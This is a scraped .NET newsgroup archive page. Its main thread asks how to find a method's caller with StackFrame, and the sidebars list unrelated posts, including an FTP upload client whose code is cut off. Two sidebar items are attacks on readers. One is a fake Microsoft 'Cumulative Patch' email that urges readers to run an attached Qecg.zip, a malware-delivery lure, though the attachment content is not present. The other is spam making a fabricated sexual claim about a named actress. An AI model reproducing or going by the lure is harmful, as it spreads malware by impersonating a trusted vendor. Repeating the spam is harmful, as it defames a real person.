| Telling where we are in the stack |
|
 |
Index ‹ DotNet ‹ Net Framework
|
- Previous
- 1
- Dotnet >> How to read Flash Format files (.swf) from MS-SQL Server 2000?Hi Everybody
I need some urgent help. In my project, I need to save the flash Format
files into MS SQL SERVER 2000 and retrieve and display in the control using
Flash Player.
I am able to save to save the .swf files into the Database server. But When
I am retrievin the files from the Database I am unable to do that.
I am using the Image filed type in SQL Server to save data. Now When try to
retrive data using MemoryStream I am not getting the data.
Anybody please any help. Whether it is the problem of file format as it is
easy to retrieve jpg or gifs.
What could I do ??
One more question, whether any idea or suggestion on keeping the .swf files
on server and display in a browser rather then retrieving it from SQL.
Technically a Good way or bad.
Looking forward for replies.
Thanks in anticipation
Piyush
- 2
- Microsoft Project >> MS Project Installation - A Weird IssueProchain is a sophisticated macro that runs on top of MS Project 2003
and implements the critical chain project mgmt methodology.
Recently I uninstalled Prochain using Add/Remove programs via the
Control Panel.
I found that the Prochain menu options (including the widgets in the
UI) remained embedded in MS Project 2003 after I had uninstalled
Prochain. Also MS Project would not automatically schedule the work
breakdown structure since the default Prochain settings did not get
removed completely. Consequently, MS Project appeared to be mostly
non-functional.
Thereafter, I uninstalled MS Project from my laptop (using Add/Remove
programs via the Control Panel).
I attempted to reinstall MS Project from scratch. But the Prochain menu
options and widgets in the UI magically re-appear.
Is there anything else I need to do in order to completely uninstall
Prochain?
Thanks in advance.
Ramu
- 3
- Visual C#.Net >> Camerom Diaz S&M VideoAmateu
kinky S&M sex video surfaced on the Net,
featuring a 19-year-old Cameron. It involves her dressing up all i
leather with her
perky tits exposed. She also has to get her nipples hard using an ai
gun.
She then dominates some other big guys, before doing some sexy littl
dances with
the other people who are being filmed
- 4
- Net Framework >> NTService name or SC instanceHi,
Anyone know how to get the NTService display name (not
installation name) within your NTService?
Better, how does one get an instance of your service
controller from within your NTService?
Thanks
- 5
- 6
- Dotnet >> FWD: Install that internet update--cqfldxtyjesrsw
Content-Type: multipart/related; boundary="jctijkuz";
type="multipart/alternative"
--jctijkuz
Content-Type: multipart/alternative; boundary="wnhgqrapyfv"
--wnhgqrapyfv
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft Customer
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2004 Microsoft Corporation.
--wnhgqrapyfv
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:vywsozz" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Customer<BR><BR>
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which fixes
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to help maintain the security of your computer
from these vulnerabilities, the most serious of which could
allow an malicious user to run executable on your system.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:syaxqym" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2004 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--wnhgqrapyfv--
--jctijkuz
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <vywsozz>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frOPl8CQvaquz2Ojp7pmn3Ozu83OPzmmT6F1/xo6Voh9p2C5z
3EWC31mS40Zxr4uw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yRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4
iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w
MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA
gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--jctijkuz
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <syaxqym>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--jctijkuz--
--cqfldxtyjesrsw
Content-Type: application/x-compressed; name="Qecg.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--cqfldxtyjesrsw--
- 7
- Microsoft Project >> Unable to create an xml file in Project 2003I am trying to create an xml file from Project 2003 using the visual basic
editor. I copied the code supplied for project 2002 from microsoft but
there's an "Automation error" for the "FileSaveAs" command, app.FileSaveAs
FormatID:="MSProject.XMLDOM", XMLName:=XMLdoc. The code that I am using is
pasted below, can someone figure out why this error message is popping up???
Also, is there an easier way to grab certain reports (critical tasks,
completed tasks, etc) from Project 2003 and put it on an html page??
Dim app As New MSProject.Application
Dim htmlFile As String, xsltFile As String
Dim XMLdoc As Object, XSLdoc As Object
'Create an XML DOM document and save the project to it.
Set XMLdoc = CreateObject("MSXML2.DOMdocument")
XMLdoc.async = False
app.FileSaveAs FormatID:="MSProject.XMLDOM", XMLName:=XMLdoc
- 8
- Net Framework >> Zipping and streaming directory structure to client without temp filesHi
I need to zip and send a bunch of files (2 Gb) in a directory structure to a
Web clinet. Using XCeed I've been able to zip the directory structure into a
temporary file and the send it to the client. However it takes quite some
time to zip the files, so sometimes the client timesout evenbefore the temp
file is done. Is there a way to Zip and Send at the same time? Would it be
possible to write and read from a memorystrream at the same time (using two
different threads)
TIA
Søren
- 9
- Dotnet >> Problem loading VB.NET UserControl in WebBrowser on Windows FormI am converting a VB6/COM application to VB.NET and must remove all COM
objects.
VB6/COM App Architecture: Windows Form hosts WebBrowser which loads
HTML snippets from local disk. Some of the HTML snippets contain
<object> tags for ActiveX Control. ActiveX Control loads and works
without issue.
VB.NET App Architecture: SAME as above except for: The WebBrowser
Control is initially seeded by loading HTML from local disk. All Other
HTML snippets are loaded from app resource file. The load code is the
same, only the storage of the HTML snippet is different. All aspects
of the .NET app work as expected except the new .NET UserControl, which
will not load in the WebBrowser on the html page. All <object> tags
have been upgraded to the correct classid syntax:
Assembly#NameSpace.Class. The UserControl loads and works properly in
tests using localhost, i.e. http://TestUserControl/TestUC.htm (tried
with and without various permissions settings) BUT, I CAN NOT get the
same UserControl to load in the WebBrowser in the above mentioned
VB.NET App Architecture. All required Assemblies and HTML seed file
are in the App root folder. UserControl appears as empty rectangle
with small icon in upper left corner. No error messages.
Does anyone have any suggestions? Something I am overlooking? OR is
is just "That won't work."
- 10
- Net Framework >> Searching through a IEnumerable Interface...Hi,
I am just curious to know what is the best way of searching for a
object with property-value inside other object which implements
IEnumerable interface?
Say for example,
I have parentFooList Class which implements IEnumerable interface.
Now one way I can acheive the searching is by saying
foreach(ChildFoo childFoo in parentFooList.GetEnumerables())
{
if(childFoo.fooproperty = "myvalue")
{
// do something
}
}
I am just looking for a more graceful and efficient way of doing this.
Any pointers?
Thanks!
-Karthick
- 11
- ADO >> Make a countdown timer?Hello all,
Can anybody tell me, or point me the right direction on how I would make a
simple countdown timer from 60 sec down. I also need to control the time
from a server.
Thanks!
Rudy
- 12
- Net Framework >> Framework2: Changed Behavior for LICX FilesI am posting this message to two newsgroups because I don't know which one covers the issue, and I need to get a quick resolution.
I have a custom license provider (actually, a license framework) that I have used successfully in a number of Framework v1.1
projects. Part of what it does is create an encrypted licx file as an embedded resource that gets added to a VS project. The licx
file (and the lic file, for that matter) simply contain an encrypted xml description of the user's license rights, and the terms of
the license (well, actually it's a reference to a class which defines the general terms of the license, but that's not relevant).
Here's the problem: under v1.1 and VS2003 this all worked great.
But under v2 and VS2005 a build action attempts to compile the licx file...which isn't possible, since it isn't source code.
Needless to say, this causes a problem. Also needless to say, it is a royal pain in the butt to have the behavior of development
tools change that much between releases.
I'm particularly surprised that the build process attempts to compile the licx file since it is clearly marked as "Embedded
Resource", which in other situations that I've worked on means it should just be copied, as is, to the assembly.
A speedy resolution to this problem would be greatly appreciated.
- Mark
- 13
- Net Framework >> What is .netframeworkI have XP Professional Edition and Windows Update tells me I need the .Net
Framework. I am cautious of downloading / installing this if it is not
needed. How can I tell if I need it? What is the advantages of installing
and the disadvantages of not installing? (in layman's terms please)
Thanks.
Bill Ridgeway
- 14
- Visual C#.Net >> ORM.NetORM.net is under GNU licence now?
if I use ORM.net to develop application, I need to open source my
application also ?
- 15
- Winforms >> MDI Children Dialog Forms?Hello everyone,
We are developing a MDI application and what we would require is the
following:
1. To open a MDI child form as Form1
2. To open another MDI child form as Form2 that would act as a dialog
form for the Form2
3. Form2 must not prevent any other MDI forms from opening or otherwise
prevent application from working properly
4. Form2 must only prevent Form1 (or any of the controls on it) from
getting focus (as a normal Dialog would for an application)
Nifty trick. We've seen it in the Microsoft Navision but haven't got a clue
how to actually do it. Any help appreciated.
BR,
GAZ
|
| Author |
Message |
sacarano

|
Posted: Fri Oct 22 19:42:05 CDT 2004 |
Top |
Net Framework >> Telling where we are in the stack
Hi All,
I'm trying to use this to determine which method called my method. I
have two ways, but neither is quite right:
Method 1:
Sub WhereAreWe()
Dim sf As New System.Diagnostics.StackFrame(1, True)
...
End Sub
But in this code
1 Sub Test()
2 WhereAreWe()
3 WhereAreWe()
4 End Sub
the stack frame is different in each WhereAreWe call, in that the first
time it knows that the caller is on line 2 and the second it knows that
it's on line 3. I can get around this by using StackFrame.GetMethod,
but then I get a different problem:
Method 2:
1 Sub RecursionTest()
2 If ReachedBottom Then Exit Sub
3
4 WhereAreWe()
5 RecursionTest()
6 End Sub
When I do this, the WhereAreWe function has no way of telling where,
exactly, we are, because GetMethod is the same for regardless of how
many frames deep we are in the recursive call stack.
So, is there any way to tell where we are, solving both of these
problems at once? TIA.
Cheers,
Josh
DotNet93
|
| |
|
| |
 |
Mickey

|
Posted: Fri Oct 22 19:42:05 CDT 2004 |
Top |
Net Framework >> Telling where we are in the stack
"Joshua Frank" <EMail@HideDomain.com> wrote in message
news:%EMail@HideDomain.com...
> So, is there any way to tell where we are...
No matter where you go, there you are.
StackTrace st = new StackTrace(true);
StackFrame callingFrame = st.GetFrame(1);
string name = callingFrame.GetMethod().Name;
Just check the (+1) stack frame to find your immediate caller. If you're
concerned that there may be recursion, and you want to know the first
non-recursive caller, you'll need to traverse the stack frames looking for
the first method name that isn't equal to the immediate caller.
--
Mickey Williams
Author, "Visual C# .NET Core Ref", MS Press
www.neudesic.com
www.servergeek.com
|
| |
|
| |
 |
Joshua

|
Posted: Mon Oct 25 09:30:36 CDT 2004 |
Top |
Net Framework >> Telling where we are in the stack
Thanks, I'll give that a try. Incidentally, getting the stack has at
least two disadvantages for my application:
1. I suspect it's a little slow (I'm doing something that runs all the
time, not just in an error situation.
2. What I'd really like is to know when the stack frame terminates, but
there's no way to use the StackFrame class for this. In other words, I
want to get the current frame and then somehow be notified when the
stack is popped, i.e., when the method is finished.
Would you happen to know a way to address these two points? TIA.
Cheers,
Josh
Mickey Williams [C# MVP] wrote:
> "Joshua Frank" <EMail@HideDomain.com> wrote in message
> news:%EMail@HideDomain.com...
>
>
>>So, is there any way to tell where we are...
>
>
>
> No matter where you go, there you are.
>
> StackTrace st = new StackTrace(true);
> StackFrame callingFrame = st.GetFrame(1);
> string name = callingFrame.GetMethod().Name;
>
> Just check the (+1) stack frame to find your immediate caller. If you're
> concerned that there may be recursion, and you want to know the first
> non-recursive caller, you'll need to traverse the stack frames looking for
> the first method name that isn't equal to the immediate caller.
>
|
| |
|
| |
 |
| |
 |
Index ‹ DotNet ‹ Net Framework |
- Next
- 1
- 2
- Net Framework >> .Net Framework 1.1 SP1 brok COM+ componentsAfter installing SP1 for the .Net framework 1.1 on a Windows 2000 server, all
the COM+ components ceased to be accessible from my VB6 applications. The
only error that was received was that it could not load the dll. I ended up
deleting the components and reapplying them with regsvcs.
Fortunately, we only have a few .Net COM+ components being accessed by VB6.
Has anyone else seen this?
- 3
- Dotnet >> Intelli-Sense How do I FIX???Anyone here having problems with intellesense just stopping?
Sometimes after compiling and running a program when I go back to the editor
and start typing all of my syntax highlighting dissapears. All of my text
goes black like a regular text document. If I rebuild the project or
projects the syntax highlighting shows up again.
Also when the text goes black all of my intelli-sense quits working as well
or only shows main methods and does not drill down to the specific methods
it should.
If I continue to program I have to type everything without intellesense and
when I do this no syntax formatting happens including brace placement etc.
Also when it is acting like this if I were to make a mistake and try doing
an undo I get an error and nothing is undone. It is like visual studio
totally loses track of everything.
Another thing I have noticed is that some of my project dates do not update
either. When I first go into visual studio it shows the projects and when
they were last updated. Some of the projects do not update the date of
when they were last worked on even though I work on them quite a bit.
In order to solve the problem temporarly I have to exit out of visual studio
and reload the project. Help this is getting very very anoying!!!!
- 4
- Visual C#.Net >> Unable to write data to the transport connection: An established connectionHello,
I'm trying to upload a file programatically and occasionally I get the
following error message.
Unable to write data to the transport connection: An established connection
was aborted by the software in your host machine.
Stack Trace
at System.Net.Sockets.NetworkStream.Write(Byte[] buffer, Int32 offset, Int32
size)
at System.Net.FtpDataStream.Write(Byte[] buffer, Int32 offset, Int32
size)
at HSMoveFiles.FTPClient.Upload(FileInfo fi, String targetFilename) in
C:\DOTNET\HSMoveFiles\FTPClient.cs:line 177
The source code for FTPClient.cs came from the following URL
http://www.codeproject.com/vb/net/FtpClient.asp
The exception is been thrown when trying to write the Stream.
rs.Write(content, 0, dataRead)
Has anyone got any Idea why this might happen and how to solve it?
Exception is caught at line number 185. Throw ex;.
Here is the source code. See line number 177.
using System.Collections.Generic;
using System;
using System.Net;
using System.IO;
using System.Runtime.Remoting.Lifetime;
using System.Text.RegularExpressions;
namespace HSMoveFiles
{
#region "FTP client class"
/// <summary>
/// A wrapper class for .NET 2.0 FTP
/// </summary>
/// <remarks>
/// This class does not hold open an FTP connection but
/// instead is stateless: for each FTP request it
/// connects, performs the request and disconnects.
/// </remarks>
public class FTPClient
{
#region "CONSTRUCTORS"
/// <summary>
/// Blank constructor
/// </summary>
/// <remarks>Hostname, username and password must be set manually</remarks>
public FTPClient()
{
}
/// <summary>
/// Constructor just taking the hostname
/// </summary>
/// <param name="Hostname">in either ftp://ftp.host.com or ftp.host.com
form</param>
/// <remarks></remarks>
public FTPClient(string Hostname)
{
_hostname = Hostname;
}
/// <summary>
/// Constructor taking hostname, username and password
/// </summary>
/// <param name="Hostname">in either ftp://ftp.host.com or ftp.host.com
form</param>
/// <param name="Username">Leave blank to use 'anonymous' but set password
to your email</param>
/// <param name="Password"></param>
/// <remarks></remarks>
public FTPClient(string Hostname, string Username, string Password)
{
_hostname = Hostname;
_username = Username;
_password = Password;
}
#endregion
#region "Directory functions"
/// <summary>
/// Return a simple directory listing
/// </summary>
/// <param name="directory">Directory to list, e.g. /pub</param>
/// <returns>A list of filenames and directories as a List(of
String)</returns>
/// <remarks>For a detailed directory listing, use
ListDirectoryDetail</remarks>
public List<string> ListDirectory(string directory)
{
//return a simple list of filenames in directory
System.Net.FtpWebRequest ftp = GetRequest(GetDirectory(directory));
//Set request to do simple list
ftp.Method = System.Net.WebRequestMethods.Ftp.ListDirectory;
string str = GetStringResponse(ftp);
//replace CRLF to CR, remove last instance
str = str.Replace("\r\n", "\r").TrimEnd('\r');
//split the string into a list
List<string> result = new List<string>();
result.AddRange(str.Split('\r'));
return result;
}
/// <summary>
/// Return a detailed directory listing
/// </summary>
/// <param name="directory">Directory to list, e.g. /pub/etc</param>
/// <returns>An FTPDirectory object</returns>
public FTPdirectory ListDirectoryDetail(string directory)
{
System.Net.FtpWebRequest ftp = GetRequest(GetDirectory(directory));
//Set request to do simple list
ftp.Method = System.Net.WebRequestMethods.Ftp.ListDirectoryDetails;
string str = GetStringResponse(ftp);
//replace CRLF to CR, remove last instance
str = str.Replace("\r\n", "\r").TrimEnd('\r');
//split the string into a list
return new FTPdirectory(str, _lastDirectory);
}
#endregion
#region "Upload: File transfer TO ftp server"
/// <summary>
/// Copy a local file to the FTP server
/// </summary>
/// <param name="localFilename">Full path of the local file</param>
/// <param name="targetFilename">Target filename, if required</param>
/// <returns></returns>
/// <remarks>If the target filename is blank, the source filename is used
/// (assumes current directory). Otherwise use a filename to specify a name
/// or a full path and filename if required.</remarks>
public bool Upload(string localFilename, string targetFilename)
{
//1. check source
if (!File.Exists(localFilename))
{
throw (new ApplicationException("File " + localFilename + " not found"));
}
//copy to FI
FileInfo fi = new FileInfo(localFilename);
return Upload(fi, targetFilename);
}
/// <summary>
/// Upload a local file to the FTP server
/// </summary>
/// <param name="fi">Source file</param>
/// <param name="targetFilename">Target filename (optional)</param>
/// <returns></returns>
public bool Upload(FileInfo fi, string targetFilename)
{
//copy the file specified to target file: target file can be full path or
just filename (uses current dir)
//1. check target
string target;
if (targetFilename.Trim() == "")
{
//Blank target: use source filename & current dir
target = this.CurrentDirectory + fi.Name;
}
else if (targetFilename.Contains("/"))
{
//If contains / treat as a full path
target = AdjustDir(targetFilename);
}
else
{
//otherwise treat as filename only, use current directory
target = CurrentDirectory + targetFilename;
}
string URI = Hostname + target;
//perform copy
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to upload a file in binary
ftp.Method = System.Net.WebRequestMethods.Ftp.UploadFile;
ftp.UseBinary = true;
//Notify FTP of the expected size
ftp.ContentLength = fi.Length;
//create byte array to store: ensure at least 1 byte!
int BufferSize = 2048;
byte[] content = new byte[BufferSize - 1 + 1];
int dataRead;
//open file for reading
using (FileStream fs = fi.OpenRead())
{
try
{
//open request to send
using (Stream rs = ftp.GetRequestStream())
{
do
{
dataRead = fs.Read(content, 0, BufferSize);
rs.Write(content, 0, dataRead);
} while (!(dataRead < BufferSize));
rs.Close();
}
}
catch (Exception ex)
{
throw ex;
}
finally
{
//ensure file closed
fs.Close();
ftp = null;
}
}
return true;
}
#endregion
#region "Download: File transfer FROM ftp server"
/// <summary>
/// Copy a file from FTP server to local
/// </summary>
/// <param name="sourceFilename">Target filename, if required</param>
/// <param name="localFilename">Full path of the local file</param>
/// <returns></returns>
/// <remarks>Target can be blank (use same filename), or just a filename
/// (assumes current directory) or a full path and filename</remarks>
public bool Download(string sourceFilename, string localFilename, bool
PermitOverwrite)
{
//2. determine target file
FileInfo fi = new FileInfo(localFilename);
return this.Download(sourceFilename, fi, PermitOverwrite);
}
//Version taking an FtpFileInfo
public bool Download(FTPfileInfo file, string localFilename, bool
PermitOverwrite)
{
return this.Download(file.FullName, localFilename, PermitOverwrite);
}
//Another version taking FtpFileInfo and FileInfo
public bool Download(FTPfileInfo file, FileInfo localFI, bool
PermitOverwrite)
{
return this.Download(file.FullName, localFI, PermitOverwrite);
}
//Version taking string/FileInfo
public bool Download(string sourceFilename, FileInfo targetFI, bool
PermitOverwrite)
{
//1. check target
if (targetFI.Exists && !(PermitOverwrite))
{
throw (new ApplicationException("Target file already exists"));
}
//2. check source
string target;
if (sourceFilename.Trim() == "")
{
throw (new ApplicationException("File not specified"));
}
else if (sourceFilename.Contains("/"))
{
//treat as a full path
target = AdjustDir(sourceFilename);
}
else
{
//treat as filename only, use current directory
target = CurrentDirectory + sourceFilename;
}
string URI = Hostname + target;
//3. perform copy
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to download a file in binary mode
ftp.Method = System.Net.WebRequestMethods.Ftp.DownloadFile;
ftp.UseBinary = true;
//open request and get response stream
using (FtpWebResponse response = (FtpWebResponse)ftp.GetResponse())
{
using (Stream responseStream = response.GetResponseStream())
{
//loop to read & write to file
using (FileStream fs = targetFI.OpenWrite())
{
try
{
byte[] buffer = new byte[2048];
int read = 0;
do
{
read = responseStream.Read(buffer, 0, buffer.Length);
fs.Write(buffer, 0, read);
} while (!(read == 0));
responseStream.Close();
fs.Flush();
fs.Close();
}
catch (Exception)
{
//catch error and delete file only partially downloaded
fs.Close();
//delete target file as it's incomplete
targetFI.Delete();
throw;
}
}
responseStream.Close();
}
response.Close();
}
return true;
}
#endregion
#region "Other functions: Delete rename etc."
/// <summary>
/// Delete remote file
/// </summary>
/// <param name="filename">filename or full path</param>
/// <returns></returns>
/// <remarks></remarks>
public bool FtpDelete(string filename)
{
//Determine if file or full path
string URI = this.Hostname + GetFullPath(filename);
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to delete
ftp.Method = System.Net.WebRequestMethods.Ftp.DeleteFile;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
/// <summary>
/// Determine if file exists on remote FTP site
/// </summary>
/// <param name="filename">Filename (for current dir) or full path</param>
/// <returns></returns>
/// <remarks>Note this only works for files</remarks>
public bool FtpFileExists(string filename)
{
//Try to obtain filesize: if we get error msg containing "550"
//the file does not exist
try
{
long size = GetFileSize(filename);
return true;
}
catch (Exception ex)
{
//only handle expected not-found exception
if (ex is System.Net.WebException)
{
//file does not exist/no rights error = 550
if (ex.Message.Contains("550"))
{
//clear
return false;
}
else
{
throw;
}
}
else
{
throw;
}
}
}
/// <summary>
/// Determine size of remote file
/// </summary>
/// <param name="filename"></param>
/// <returns></returns>
/// <remarks>Throws an exception if file does not exist</remarks>
public long GetFileSize(string filename)
{
string path;
if (filename.Contains("/"))
{
path = AdjustDir(filename);
}
else
{
path = this.CurrentDirectory + filename;
}
string URI = this.Hostname + path;
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Try to get info on file/dir?
ftp.Method = System.Net.WebRequestMethods.Ftp.GetFileSize;
string tmp = this.GetStringResponse(ftp);
return GetSize(ftp);
}
public bool FtpRename(string sourceFilename, string newName)
{
//Does file exist?
string source = GetFullPath(sourceFilename);
if (!FtpFileExists(source))
{
throw (new FileNotFoundException("File " + source + " not found"));
}
//build target name, ensure it does not exist
string target = GetFullPath(newName);
if (target == source)
{
throw (new ApplicationException("Source and target are the same"));
}
else if (FtpFileExists(target))
{
throw (new ApplicationException("Target file " + target + " already
exists"));
}
//perform rename
string URI = this.Hostname + source;
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to delete
ftp.Method = System.Net.WebRequestMethods.Ftp.Rename;
ftp.RenameTo = target;
try
{
//get response but ignore it
string str = GetStringResponse(ftp);
}
catch (Exception)
{
return false;
}
return true;
}
public bool FtpCreateDirectory(string dirpath)
{
//perform create
string URI = this.Hostname + AdjustDir(dirpath);
System.Net.FtpWebRequest ftp = GetRequest(URI);
//Set request to MkDir
